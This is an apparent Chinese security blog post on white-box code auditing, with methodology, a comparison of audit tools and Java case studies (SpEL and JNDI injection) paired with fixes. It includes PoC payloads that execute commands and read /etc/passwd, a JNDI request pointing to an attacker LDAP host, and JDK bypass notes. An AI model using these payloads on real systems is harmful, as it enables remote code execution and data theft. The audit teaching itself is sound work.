{"id":93089,"date":"2026-08-11T22:00:45","date_gmt":"2026-08-11T14:00:45","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/93089.html"},"modified":"2026-08-11T22:00:45","modified_gmt":"2026-08-11T14:00:45","slug":"%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e5%ae%9e%e6%88%98%e6%8c%87%e5%8d%97%ef%bc%9a%e4%bb%8e%e7%99%bd%e7%9b%92%e5%88%86%e6%9e%90%e5%88%b0%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98%ef%bc%88%e9%99%84-java-php-p","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/93089.html","title":{"rendered":"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09"},"content":{"rendered":"

\u524d\u8a00<\/h2>\n

\u5728\u7532\u65b9\u5b89\u5168\u5efa\u8bbe\u4e0e\u7ea2\u961f\u6e17\u900f\u4e2d，\u4ee3\u7801\u5ba1\u8ba1（Code Audit \/ White-box Testing）
\n\u662f\u4e00\u9879\u6838\u5fc3\u80fd\u529b\u3002\u76f8\u6bd4\u4e8e\u9ed1\u76d2\u626b\u63cf"\u649e\u8fd0\u6c14"\u5f0f\u7684\u6f0f\u6d1e\u53d1\u73b0，\u4ee3\u7801\u5ba1\u8ba1\u80fd\u591f\u4ece
\n\u6e90\u5934\u5b9a\u4f4d\u7f3a\u9677，\u7406\u89e3\u4e1a\u52a1\u903b\u8f91，\u6316\u6398\u51fa\u9ed1\u76d2\u96be\u4ee5\u89e6\u8fbe\u7684\u9ad8\u5371\u903b\u8f91\u6f0f\u6d1e\u4e0e\u7ec4\u5408\u94fe\u3002<\/p>\n

\u672c\u6587\u5c06\u4ece\u65b9\u6cd5\u8bba\u51fa\u53d1，\u7cfb\u7edf\u8bb2\u89e3\u767d\u76d2\u5ba1\u8ba1\u7684\u601d\u8def，\u5bf9\u6bd4\u516d\u5927\u4e3b\u6d41\u5ba1\u8ba1\u5de5\u5177，\u5e76
\n\u5206\u522b\u7ed9\u51fa Java\u3001PHP\u3001Python \u4e09\u5927\u8bed\u8a00\u7684\u5b9e\u6218\u5ba1\u8ba1\u6848\u4f8b，\u6700\u540e\u6f14\u793a\u5982\u4f55\u7528
\nSemgrep \/ CodeQL \u5b9e\u73b0\u81ea\u52a8\u5316\u5ba1\u8ba1，\u4ee5\u53ca\u4e00\u4e2a\u5b8c\u6574 CMS \u7684\u5ba1\u8ba1\u94fe\u6784\u9020\u8fc7\u7a0b\u3002<\/p>\n

\u3010\u63d0\u793a\u3011\u672c\u6587\u6240\u6709\u4ee3\u7801\u793a\u4f8b\u4ec5\u7528\u4e8e\u5b89\u5168\u7814\u7a76\u4e0e\u6388\u6743\u6d4b\u8bd5，\u4e25\u7981\u7528\u4e8e\u975e\u6cd5\u7528\u9014\u3002
\n\u8bf7\u9075\u5b88\u300a\u7f51\u7edc\u5b89\u5168\u6cd5\u300b\u53ca\u76f8\u5173\u6cd5\u5f8b\u6cd5\u89c4，\u672a\u7ecf\u6388\u6743\u7684\u6e17\u900f\u6d4b\u8bd5\u5c5e\u4e8e\u8fdd\u6cd5\u884c\u4e3a\u3002<\/p>\n

\n——————————————————————————–
\n\u4e00\u3001\u4ee3\u7801\u5ba1\u8ba1\u6982\u8ff0\u4e0e\u65b9\u6cd5\u8bba
\n——————————————————————————–<\/h2>\n

1.1 \u4ec0\u4e48\u662f\u4ee3\u7801\u5ba1\u8ba1<\/h3>\n

\u4ee3\u7801\u5ba1\u8ba1\u662f\u6307\u901a\u8fc7\u4eba\u5de5\u6216\u81ea\u52a8\u5316\u5de5\u5177，\u5bf9\u7a0b\u5e8f\u6e90\u4ee3\u7801\u8fdb\u884c\u7cfb\u7edf\u6027\u68c0\u67e5，\u53d1\u73b0\u5176\u4e2d
\n\u53ef\u80fd\u5b58\u5728\u7684\u5b89\u5168\u6f0f\u6d1e\u3001\u903b\u8f91\u7f3a\u9677\u3001\u786c\u7f16\u7801\u654f\u611f\u4fe1\u606f\u7b49\u95ee\u9898\u7684\u8fc7\u7a0b\u3002\u5176\u672c\u8d28\u662f
\n"\u4ee5\u8bfb\u4ee3\u7801\u7684\u65b9\u5f0f\u627e\u6f0f\u6d1e"\u3002<\/p>\n

\u4ee3\u7801\u5ba1\u8ba1\u7684\u4f18\u52bf：
\n– \u80fd\u591f\u53d1\u73b0\u9ed1\u76d2\u626b\u63cf\u65e0\u6cd5\u8986\u76d6\u7684\u903b\u8f91\u6f0f\u6d1e（\u5982\u8d8a\u6743\u3001\u652f\u4ed8\u903b\u8f91\u7f3a\u9677）
\n– \u80fd\u591f\u7cbe\u786e\u5b9a\u4f4d\u6f0f\u6d1e\u6839\u56e0，\u7ed9\u51fa\u4fee\u590d\u5efa\u8bae
\n– \u80fd\u591f\u5728\u5f00\u53d1\u9636\u6bb5（Shift Left）\u63d0\u524d\u6d88\u9664\u5b89\u5168\u9690\u60a3，\u964d\u4f4e\u4fee\u590d\u6210\u672c
\n– \u80fd\u591f\u53d1\u73b0\u9690\u85cf\u7684\u540e\u95e8\u4e0e\u4f9b\u5e94\u94fe\u6295\u6bd2\u4ee3\u7801<\/p>\n

1.2 \u767d\u76d2\u5ba1\u8ba1 vs \u9ed1\u76d2\u5ba1\u8ba1<\/h3>\n

| \u5bf9\u6bd4\u7ef4\u5ea6 \u00a0 | \u767d\u76d2\u5ba1\u8ba1（\u4ee3\u7801\u5ba1\u8ba1） \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u9ed1\u76d2\u5ba1\u8ba1（\u6e17\u900f\u6d4b\u8bd5） \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |
\n|————|——————————-|——————————-|
\n| \u6d4b\u8bd5\u89c6\u89d2 \u00a0 | \u62e5\u6709\u6e90\u4ee3\u7801，\u4ece\u5185\u90e8\u770b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u65e0\u6e90\u4ee3\u7801，\u4ece\u5916\u90e8\u770b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |
\n| \u8986\u76d6\u7387 \u00a0 \u00a0 | \u9ad8，\u53ef\u8fbe 100% \u4ee3\u7801\u8def\u5f84 \u00a0 \u00a0 \u00a0 \u00a0 | \u53d7\u9650\u4e8e\u8f93\u5165\u7a7a\u95f4\u4e0e\u8ba4\u8bc1\u72b6\u6001 \u00a0 \u00a0 \u00a0 |
\n| \u6f0f\u6d1e\u7c7b\u578b \u00a0 | \u903b\u8f91\u6f0f\u6d1e\u3001\u914d\u7f6e\u7f3a\u9677\u3001\u9690\u85cf\u540e\u95e8 \u00a0 | \u6ce8\u5165\u7c7b\u3001\u914d\u7f6e\u66b4\u9732\u3001\u8ba4\u8bc1\u7ed5\u8fc7 \u00a0 \u00a0 |
\n| \u8bef\u62a5\u7387 \u00a0 \u00a0 | \u5de5\u5177\u8bef\u62a5\u8f83\u9ad8，\u9700\u4eba\u5de5\u786e\u8ba4 \u00a0 \u00a0 \u00a0 | \u8bef\u62a5\u8f83\u4f4e，\u4f46\u6f0f\u62a5\u7387\u9ad8 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |
\n| \u6210\u672c \u00a0 \u00a0 \u00a0 | \u524d\u671f\u9ad8（\u9700\u9605\u8bfb\u4ee3\u7801） \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u76f8\u5bf9\u8f83\u4f4e \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |
\n| \u9002\u7528\u9636\u6bb5 \u00a0 | \u5f00\u53d1\u671f\u3001\u4e0a\u7ebf\u524d\u5ba1\u8ba1 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u4e0a\u7ebf\u540e\u3001\u7ea2\u961f\u8bc4\u4f30 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<\/p>\n

\u3010\u6ce8\u610f\u3011\u767d\u76d2\u4e0e\u9ed1\u76d2\u5e76\u975e\u5bf9\u7acb\u5173\u7cfb，\u6210\u719f\u7684\u7532\u65b9\u5b89\u5168\u4f53\u7cfb\u5e94\u91c7\u7528"\u767d\u76d2\u4e3a\u4e3b\u3001
\n\u9ed1\u76d2\u4e3a\u8f85"\u7684\u7070\u76d2（Gray-box）\u7b56\u7565，\u76f8\u4e92\u8865\u5145\u3002<\/p>\n

1.3 \u81ea\u9876\u5411\u4e0b vs \u81ea\u5e95\u5411\u4e0a<\/h3>\n

\u4ee3\u7801\u5ba1\u8ba1\u6709\u4e24\u79cd\u7ecf\u5178\u5206\u6790\u8def\u5f84，\u5b9e\u6218\u4e2d\u901a\u5e38\u7ed3\u5408\u4f7f\u7528：<\/p>\n

\u30101\u3011\u81ea\u9876\u5411\u4e0b（Top-Down）
\n\u00a0 \u00a0 \u4ece\u5165\u53e3\u70b9（\u8def\u7531\u3001Controller\u3001Action）\u51fa\u53d1，\u6cbf\u7740\u6570\u636e\u6d41\u8ffd\u8e2a\u7528\u6237\u8f93\u5165
\n\u00a0 \u00a0 \u5982\u4f55\u6d41\u5411\u5371\u9669\u51fd\u6570（Sink）\u3002\u9002\u5408\u5feb\u901f\u7406\u89e3\u4e1a\u52a1，\u5b9a\u4f4d\u6570\u636e\u6d41\u5411\u3002<\/p>\n

\u00a0 \u00a0 \u5206\u6790\u8def\u5f84：\u8def\u7531 -> Controller -> Service -> DAO -> \u5371\u9669\u64cd\u4f5c<\/p>\n

\u30102\u3011\u81ea\u5e95\u5411\u4e0a（Bottom-Up）
\n\u00a0 \u00a0 \u4ece\u5371\u9669\u51fd\u6570（Sink）\u51fa\u53d1，\u53cd\u5411\u56de\u6eaf\u6570\u636e\u6765\u6e90，\u5224\u65ad\u53c2\u6570\u662f\u5426\u7528\u6237\u53ef\u63a7\u3002
\n\u00a0 \u00a0 \u9002\u5408\u5728\u5927\u578b\u4ee3\u7801\u5e93\u4e2d\u5feb\u901f\u5b9a\u4f4d\u5df2\u77e5\u6f0f\u6d1e\u6a21\u5f0f\u3002<\/p>\n

\u00a0 \u00a0 \u5206\u6790\u8def\u5f84：\u5371\u9669\u51fd\u6570 -> \u8c03\u7528\u94fe\u56de\u6eaf -> \u53c2\u6570\u6765\u6e90 -> \u662f\u5426\u53ef\u63a7<\/p>\n

1.4 \u4ee3\u7801\u5ba1\u8ba1\u901a\u7528\u65b9\u6cd5\u8bba（\u4e03\u6b65\u6cd5）<\/h3>\n

```
\n\u6b65\u9aa4 1：\u73af\u5883\u642d\u5efa\u4e0e\u9879\u76ee\u7ed3\u6784\u5206\u6790
\n\u00a0 \u00a0 \u00a0 \u00a0 – \u90e8\u7f72\u8fd0\u884c\u73af\u5883，\u7406\u89e3\u9879\u76ee\u76ee\u5f55\u7ed3\u6784\u3001\u6846\u67b6\u7248\u672c
\n\u00a0 \u00a0 \u00a0 \u00a0 – \u8bc6\u522b\u4f9d\u8d56\u7ec4\u4ef6（pom.xml \/ composer.json \/ requirements.txt）<\/p>\n

\u6b65\u9aa4 2：\u5165\u53e3\u70b9\u8bc6\u522b（Source）
\n\u00a0 \u00a0 \u00a0 \u00a0 – \u8def\u7531\u914d\u7f6e（@RequestMapping \/ route.php \/ Flask @app.route）
\n\u00a0 \u00a0 \u00a0 \u00a0 – \u53cd\u5e8f\u5217\u5316\u5165\u53e3\u3001\u6587\u4ef6\u4e0a\u4f20\u63a5\u53e3\u3001SOAP\/REST API<\/p>\n

\u6b65\u9aa4 3：\u5371\u9669\u51fd\u6570\u8bc6\u522b（Sink）
\n\u00a0 \u00a0 \u00a0 \u00a0 – Java：Runtime.exec\u3001ProcessBuilder\u3001SpEL eval\u3001XML\u89e3\u6790
\n\u00a0 \u00a0 \u00a0 \u00a0 – PHP：eval\u3001assert\u3001system\u3001include\u3001unserialize
\n\u00a0 \u00a0 \u00a0 \u00a0 – Python：eval\u3001exec\u3001os.system\u3001subprocess\u3001pickle.loads<\/p>\n

\u6b65\u9aa4 4：\u6570\u636e\u6d41\u8ffd\u8e2a（Taint Analysis）
\n\u00a0 \u00a0 \u00a0 \u00a0 – \u4ece Source \u5230 Sink \u8ffd\u8e2a\u7528\u6237\u8f93\u5165\u662f\u5426\u7ecf\u8fc7\u51c0\u5316
\n\u00a0 \u00a0 \u00a0 \u00a0 – \u91cd\u70b9\u5173\u6ce8"\u51c0\u5316\u51fd\u6570"\u662f\u5426\u53ef\u88ab\u7ed5\u8fc7<\/p>\n

\u6b65\u9aa4 5：\u6f0f\u6d1e\u9a8c\u8bc1（PoC \u6784\u9020）
\n\u00a0 \u00a0 \u00a0 \u00a0 – \u7f16\u5199\u6700\u5c0f\u5316 PoC \u9a8c\u8bc1\u6f0f\u6d1e\u53ef\u5229\u7528\u6027<\/p>\n

\u6b65\u9aa4 6：\u6f0f\u6d1e\u94fe\u6784\u9020（Chain）
\n\u00a0 \u00a0 \u00a0 \u00a0 – \u5c06\u591a\u4e2a\u4f4e\u5371\u6f0f\u6d1e\u7ec4\u5408\u6210\u9ad8\u5371\u5229\u7528\u94fe<\/p>\n

\u6b65\u9aa4 7：\u4fee\u590d\u5efa\u8bae\u4e0e\u62a5\u544a
\n\u00a0 \u00a0 \u00a0 \u00a0 – \u7ed9\u51fa\u4ee3\u7801\u7ea7\u4fee\u590d\u65b9\u6848，\u8f93\u51fa\u5ba1\u8ba1\u62a5\u544a
\n```<\/p>\n

\u3010\u63d0\u793a\u3011\u5b9e\u6218\u4e2d"\u81ea\u5e95\u5411\u4e0a"\u6548\u7387\u66f4\u9ad8：\u5148\u7528 IDE \u5168\u5c40\u641c\u7d22\u5371\u9669\u51fd\u6570，\u518d\u56de\u6eaf
\n\u6570\u636e\u6d41，\u80fd\u5728\u6570\u5c0f\u65f6\u5185\u5b8c\u6210\u5bf9\u4e2d\u578b\u9879\u76ee\u7684\u521d\u7b5b\u3002<\/p>\n

\n——————————————————————————–
\n\u4e8c\u3001\u5e38\u7528\u4ee3\u7801\u5ba1\u8ba1\u5de5\u5177\u5bf9\u6bd4
\n——————————————————————————–<\/h3>\n

\u5de5\u6b32\u5584\u5176\u4e8b，\u5fc5\u5148\u5229\u5176\u5668\u3002\u4e0b\u9762\u5bf9\u516d\u6b3e\u4e3b\u6d41\u4ee3\u7801\u5ba1\u8ba1\u5de5\u5177\u8fdb\u884c\u6a2a\u5411\u5bf9\u6bd4：<\/p>\n

| \u5de5\u5177 \u00a0 \u00a0 \u00a0 | \u8bed\u8a00\u652f\u6301 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u68c0\u6d4b\u65b9\u5f0f \u00a0 \u00a0 \u00a0 | \u4f18\u52bf \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u52a3\u52bf \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u9002\u7528\u573a\u666f \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |
\n|————|———————-|—————-|——————————-|—————————-|——————-|
\n| Fortify \u00a0 \u00a0| Java\/C#\/C++\/JS \u7b49 25+| \u9759\u6001\u5206\u6790(SAST) | \u89c4\u5219\u4e30\u5bcc\u3001\u4f01\u4e1a\u7ea7\u3001\u62a5\u544a\u5b8c\u5584 \u00a0 \u00a0 | \u5546\u4e1a\u6536\u8d39\u6602\u8d35\u3001\u8bef\u62a5\u591a \u00a0 \u00a0 \u00a0 \u00a0| \u4f01\u4e1a\u7ea7\u5408\u89c4\u5ba1\u8ba1 \u00a0 \u00a0 |
\n| Checkmarx \u00a0| Java\/JS\/Python \u7b49 25+| \u9759\u6001\u5206\u6790(SAST) | \u6570\u636e\u6d41\u5206\u6790\u5f3a\u3001\u652f\u6301 IDE \u63d2\u4ef6 \u00a0 \u00a0| \u5546\u4e1a\u6536\u8d39\u3001\u626b\u63cf\u8f83\u6162 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u4f01\u4e1a\u7ea7 DevSecOps \u00a0|
\n| CodeQL \u00a0 \u00a0 | Java\/C\/C++\/Python \u7b49 | \u67e5\u8be2\u5f0f\u5206\u6790 \u00a0 \u00a0 | \u81ea\u5b9a\u4e49\u67e5\u8be2\u7075\u6d3b\u3001\u8bed\u4e49\u5206\u6790\u6df1 \u00a0 \u00a0 | \u5b66\u4e60\u66f2\u7ebf\u9661\u3001\u9700\u81ea\u5efa\u6570\u636e\u5e93 \u00a0 \u00a0| \u6df1\u5ea6\u6f0f\u6d1e\u6316\u6398 \u00a0 \u00a0 \u00a0 |
\n| SonarQube \u00a0| 20+ \u8bed\u8a00 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u9759\u6001\u5206\u6790+\u8d28\u91cf \u00a0| \u5f00\u6e90\u514d\u8d39\u3001CI\/CD \u96c6\u6210\u597d \u00a0 \u00a0 \u00a0 \u00a0 | \u5b89\u5168\u89c4\u5219\u8f83\u5c11\u3001\u504f\u4ee3\u7801\u8d28\u91cf \u00a0 \u00a0| \u4ee3\u7801\u8d28\u91cf+\u57fa\u7840\u5b89\u5168 \u00a0|
\n| Semgrep \u00a0 \u00a0| 20+ \u8bed\u8a00 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u6a21\u5f0f\u5339\u914d \u00a0 \u00a0 \u00a0 | \u5f00\u6e90\u514d\u8d39\u3001\u89c4\u5219\u7f16\u5199\u7b80\u5355\u3001\u901f\u5ea6\u5feb | \u65e0\u6570\u636e\u6d41\u5206\u6790（CE\u7248）\u3001\u8bef\u62a5 \u00a0| \u5feb\u901f\u89c4\u5219\u626b\u63cf \u00a0 \u00a0 \u00a0 |
\n| RIPS \u00a0 \u00a0 \u00a0 | PHP \u4e3a\u4e3b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u6570\u636e\u6d41\u5206\u6790 \u00a0 \u00a0 | PHP \u5ba1\u8ba1\u4e13\u7cbe\u3001\u6c61\u70b9\u8ffd\u8e2a\u5f3a \u00a0 \u00a0 \u00a0 | \u5546\u4e1a\u6536\u8d39\u3001\u8bed\u8a00\u652f\u6301\u6709\u9650 \u00a0 \u00a0 \u00a0| PHP \u9879\u76ee\u5ba1\u8ba1 \u00a0 \u00a0 \u00a0|<\/p>\n

\u3010\u6ce8\u610f\u3011\u6ca1\u6709\u4efb\u4f55\u4e00\u6b3e\u5de5\u5177\u80fd 100% \u8986\u76d6\u6f0f\u6d1e\u3002\u6700\u4f73\u5b9e\u8df5\u662f"\u5de5\u5177\u521d\u7b5b + \u4eba\u5de5
\n\u590d\u6838"，\u5de5\u5177\u8d1f\u8d23\u5feb\u901f\u5b9a\u4f4d\u53ef\u7591\u70b9，\u4eba\u5de5\u8d1f\u8d23\u786e\u8ba4\u4e0e\u6f0f\u6d1e\u94fe\u6784\u9020\u3002<\/p>\n

2.1 \u5de5\u5177\u9009\u578b\u5efa\u8bae<\/h3>\n

– \u4e2a\u4eba\u5b66\u4e60 \/ \u5f00\u6e90\u9879\u76ee：Semgrep（\u514d\u8d39）+ CodeQL（\u514d\u8d39）+ \u624b\u5de5\u5ba1\u8ba1
\n– PHP \u9879\u76ee\u4e13\u9879\u5ba1\u8ba1：RIPS + \u624b\u5de5 IDE \u5ba1\u8ba1
\n– \u4f01\u4e1a\u7ea7 DevSecOps：SonarQube（\u8d28\u91cf）+ Checkmarx\/Fortify（\u5b89\u5168）+ Semgrep（\u81ea\u5b9a\u4e49\u89c4\u5219）
\n– \u6df1\u5ea6\u6f0f\u6d1e\u6316\u6398（\u6f0f\u6d1e\u730e\u624b）：CodeQL（\u81ea\u5b9a\u4e49\u67e5\u8be2）+ \u4eba\u5de5\u9006\u5411\u6570\u636e\u6d41<\/p>\n

2.2 IDE \u8f85\u52a9\u5ba1\u8ba1\u6280\u5de7<\/h3>\n

\u63a8\u8350\u4f7f\u7528 IntelliJ IDEA \/ VS Code \u8fdb\u884c\u624b\u5de5\u5ba1\u8ba1：<\/p>\n

```
\n– \u5168\u5c40\u641c\u7d22\u5371\u9669\u51fd\u6570：Ctrl+Shift+F \u641c\u7d22 eval(\u3001exec(\u3001Runtime
\n– \u67e5\u627e\u8c03\u7528\u5173\u7cfb：Ctrl+Alt+H \u67e5\u770b Call Hierarchy（\u8c03\u7528\u5c42\u7ea7）
\n– \u6570\u636e\u6d41\u8ffd\u8e2a：\u5229\u7528 IDE \u7684 Find Usages \u53cd\u5411\u56de\u6eaf\u53c2\u6570\u6765\u6e90
\n– \u65ad\u70b9\u8c03\u8bd5：\u5728\u53ef\u7591\u51fd\u6570\u5904\u4e0b\u65ad\u70b9，\u52a8\u6001\u8ddf\u8e2a\u6570\u636e\u6d41（\u7070\u76d2\u5ba1\u8ba1）
\n```<\/p>\n

\n——————————————————————————–
\n\u4e09\u3001Java \u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218
\n——————————————————————————–<\/h2>\n

Java \u662f\u4f01\u4e1a\u7ea7\u5e94\u7528\u7684\u4e3b\u6d41\u8bed\u8a00，\u5176\u751f\u6001\u4e30\u5bcc\u3001\u7ec4\u4ef6\u4f17\u591a，\u4e5f\u662f\u4ee3\u7801\u5ba1\u8ba1\u7684\u91cd\u70b9
\n\u76ee\u6807\u3002\u672c\u8282\u5c06\u8bb2\u89e3 Java \u4e2d\u4e94\u7c7b\u5178\u578b\u6f0f\u6d1e\u7684\u6316\u6398\u4e0e\u5ba1\u8ba1\u65b9\u6cd5\u3002<\/p>\n

3.1 SpEL \u6ce8\u5165\u6f0f\u6d1e\u6316\u6398\u4e0e\u5ba1\u8ba1<\/h3>\n

SpEL（Spring Expression Language）\u662f Spring \u6846\u67b6\u63d0\u4f9b\u7684\u8868\u8fbe\u5f0f\u8bed\u8a00\u3002
\n\u5f53\u7528\u6237\u8f93\u5165\u88ab\u76f4\u63a5\u4f20\u5165 SpEL \u89e3\u6790\u5668\u65f6，\u53ef\u80fd\u5bfc\u81f4\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002<\/p>\n

\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b：<\/p>\n

```java
\nimport org.springframework.expression.Expression;
\nimport org.springframework.expression.ExpressionParser;
\nimport org.springframework.expression.spel.standard.SpelExpressionParser;<\/p>\n

@RestController
\npublic class SpelController {<\/p>\n

\u00a0 \u00a0 @GetMapping("\/spel")
\n\u00a0 \u00a0 public String spel(@RequestParam String expr) {
\n\u00a0 \u00a0 \u00a0 \u00a0 ExpressionParser parser = new SpelExpressionParser();
\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u3011\u7528\u6237\u8f93\u5165 expr \u76f4\u63a5\u88ab\u89e3\u6790\u4e3a SpEL \u8868\u8fbe\u5f0f
\n\u00a0 \u00a0 \u00a0 \u00a0 Expression expression = parser.parseExpression(expr);
\n\u00a0 \u00a0 \u00a0 \u00a0 return expression.getValue().toString();
\n\u00a0 \u00a0 }
\n}
\n```<\/p>\n

\u5ba1\u8ba1\u8981\u70b9：
\n– \u5168\u5c40\u641c\u7d22 SpelExpressionParser\u3001parseExpression\u3001getValue
\n– \u68c0\u67e5\u8868\u8fbe\u5f0f\u5185\u5bb9\u662f\u5426\u6765\u81ea\u7528\u6237\u8f93\u5165
\n– \u68c0\u67e5\u662f\u5426\u4f7f\u7528\u4e86 SimpleEvaluationContext（\u5b89\u5168\u4e0a\u4e0b\u6587）<\/p>\n

PoC \u5229\u7528：<\/p>\n

```
\n# \u6267\u884c\u7cfb\u7edf\u547d\u4ee4
\nT(java.lang.Runtime).getRuntime().exec('calc')<\/p>\n

# \u8bfb\u53d6\u6587\u4ef6
\nnew String(T(java.nio.file.Files).readAllBytes(
\n\u00a0 \u00a0 T(java.nio.file.Paths).get('\/etc\/passwd')))
\n```<\/p>\n

\u5b89\u5168\u4fee\u590d：<\/p>\n

```java
\n\/\/ \u4f7f\u7528\u5b89\u5168\u4e0a\u4e0b\u6587，\u7981\u7528\u7c7b\u578b\u5f15\u7528\u4e0e\u65b9\u6cd5\u8c03\u7528
\nEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding()
\n\u00a0 \u00a0 .build();
\nExpression expression = parser.parseExpression(expr);
\nreturn expression.getValue(context).toString();
\n```<\/p>\n

\u3010\u8b66\u544a\u3011SimpleEvaluationContext \u4f1a\u963b\u6b62 T() \u7c7b\u578b\u5f15\u7528\u548c\u65b9\u6cd5\u8c03\u7528，\u4f46\u4ecd\u9700
\n\u6ce8\u610f\u8868\u8fbe\u5f0f\u6ce8\u5165\u7684\u4fe1\u606f\u6cc4\u9732\u98ce\u9669\u3002\u6700\u4f73\u65b9\u6848\u662f\u4e0d\u5c06\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u8868\u8fbe\u5f0f\u89e3\u6790\u3002<\/p>\n

3.2 JNDI \u6ce8\u5165\u6f0f\u6d1e\u6316\u6398<\/h3>\n

JNDI（Java Naming and Directory Interface）\u6ce8\u5165\u662f Java \u7ecf\u5178\u6f0f\u6d1e\u7c7b\u578b\u3002
\n\u5f53\u5e94\u7528\u8c03\u7528 InitialContext.lookup() \u4e14\u53c2\u6570\u7528\u6237\u53ef\u63a7\u65f6，\u653b\u51fb\u8005\u53ef\u6307\u5411\u6076\u610f
\nLDAP\/RMI \u670d\u52a1，\u52a0\u8f7d\u8fdc\u7a0b\u7c7b\u5b9e\u73b0 RCE\u3002<\/p>\n

\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b：<\/p>\n

```java
\nimport javax.naming.InitialContext;<\/p>\n

@RestController
\npublic class JndiController {<\/p>\n

\u00a0 \u00a0 @GetMapping("\/jndi")
\n\u00a0 \u00a0 public Object jndi(@RequestParam String name) throws Exception {
\n\u00a0 \u00a0 \u00a0 \u00a0 InitialContext ctx = new InitialContext();
\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u3011name \u7528\u6237\u53ef\u63a7，\u53ef\u6307\u5411\u6076\u610f JNDI \u670d\u52a1
\n\u00a0 \u00a0 \u00a0 \u00a0 return ctx.lookup(name);
\n\u00a0 \u00a0 }
\n}
\n```<\/p>\n

\u5ba1\u8ba1\u8981\u70b9：
\n– \u641c\u7d22 InitialContext.lookup\u3001Context.lookup\u3001ldap:\/\/\u3001rmi:\/\/
\n– \u68c0\u67e5 lookup \u53c2\u6570\u662f\u5426\u6765\u81ea\u914d\u7f6e\u6587\u4ef6\u3001HTTP \u8bf7\u6c42\u3001\u6d88\u606f\u4f53
\n– \u5173\u6ce8 Spring Cloud\u3001Log4j \u7b49\u7ec4\u4ef6\u4e2d\u7684 JNDI \u4f7f\u7528<\/p>\n

PoC \u5229\u7528\u6d41\u7a0b：<\/p>\n

```
\n1. \u653b\u51fb\u8005\u542f\u52a8\u6076\u610f LDAP \u670d\u52a1（\u5982 marshalsec \/ JNDI-Injection-Exploit）
\n2. \u53d1\u9001\u8bf7\u6c42：GET \/jndi?name=ldap:\/\/attacker.com\/Exploit
\n3. \u76ee\u6807\u670d\u52a1\u5668\u52a0\u8f7d\u8fdc\u7a0b\u6076\u610f\u7c7b\u5e76\u6267\u884c
\n```<\/p>\n

\u5404 JDK \u7248\u672c\u7ed5\u8fc7\u6280\u5de7：<\/p>\n

| JDK \u7248\u672c \u00a0 \u00a0| \u9ed8\u8ba4\u9650\u5236 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u7ed5\u8fc7\u65b9\u5f0f \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|
\n|————-|————————-|———————————–|
\n| JDK < 8u191 | \u65e0\u9650\u5236 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u76f4\u63a5 LDAP \u52a0\u8f7d\u8fdc\u7a0b\u7c7b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|
\n| 8u191+ \u00a0 \u00a0 \u00a0| com.sun.jndi.ldap.object.trustURLCodebase=false | \u672c\u5730 Gadget（BeanFactory\u3001Tomcat EL） |
\n| 11.0.1+ \u00a0 \u00a0 | \u540c\u4e0a \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u672c\u5730 Gadget \/ \u5e8f\u5217\u5316\u5bf9\u8c61 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|<\/p>\n

\u5b89\u5168\u4fee\u590d：<\/p>\n

```java
\n\/\/ 1. \u767d\u540d\u5355\u6821\u9a8c JNDI \u540d\u79f0，\u7981\u6b62\u5916\u90e8\u534f\u8bae
\nprivate static final Set<String> ALLOWED = Set.of("java:comp\/env\/");
\npublic Object safeLookup(String name) throws Exception {
\n\u00a0 \u00a0 if (!ALLOWED.stream().anyMatch(name::startsWith)) {
\n\u00a0 \u00a0 \u00a0 \u00a0 throw new SecurityException("\u975e\u6cd5 JNDI \u540d\u79f0");
\n\u00a0 \u00a0 }
\n\u00a0 \u00a0 return new InitialContext().lookup(name);
\n}<\/p>\n

\/\/ 2. \u5347\u7ea7 JDK \u7248\u672c，\u8bbe\u7f6e\u7cfb\u7edf\u5c5e\u6027
